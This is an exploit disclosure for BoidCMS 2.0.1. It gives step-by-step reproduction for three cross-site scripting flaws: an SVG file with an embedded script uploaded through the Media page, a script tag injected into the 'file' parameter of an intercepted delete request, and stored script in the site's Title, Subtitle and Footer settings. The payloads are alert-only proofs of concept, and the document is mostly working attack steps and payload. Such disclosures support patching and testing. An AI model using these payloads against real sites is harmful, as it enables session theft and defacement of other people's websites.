BoidCMS 2.0.1 Cross Site Scripting

`# Exploit Title: Multiple XSS Issues in boidcmsv2.0.1  
# Date: 3/2024  
# Exploit Author: Andrey Stoykov  
# Version: 2.0.1  
# Tested on: Ubuntu 22.04  
# Blog: http://msecureltd.blogspot.com  
  
  
XSS via SVG File Upload  
  
Steps to Reproduce:  
  
1. Login with admin user  
2. Visit "Media" page  
3. Upload xss.svg  
4. Click "View" and XSS payload will execute  
  
// xss.svg contents  
  
<?xml version="1.0" standalone="no"?>  
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "  
http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">  
  
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">  
<polygon id="triangle" points="0,0 0,50 50,0" fill="#009900"  
stroke="#004400"/>  
<script type="text/javascript">  
alert(`XSS`);  
</script>  
</svg>  
  
  
Reflected XSS:  
  
Steps to Reproduce:  
  
1. Login as admin  
2. Visit "Media" page  
3. Click "Delete" and intercept the HTTP GET request  
4. In "file" parameter add the payload "<script>alert(1)</script>"  
5. After forwarding the HTTP GET request a browser popup would surface  
  
  
Stored XSS:  
  
Steps to Reproduce:  
  
1. Login as admin  
2. Visit "Settings" page  
3. Enter XSS payload in "Title", "Subtitle", "Footer"  
4. Then visit the blog page  
  
`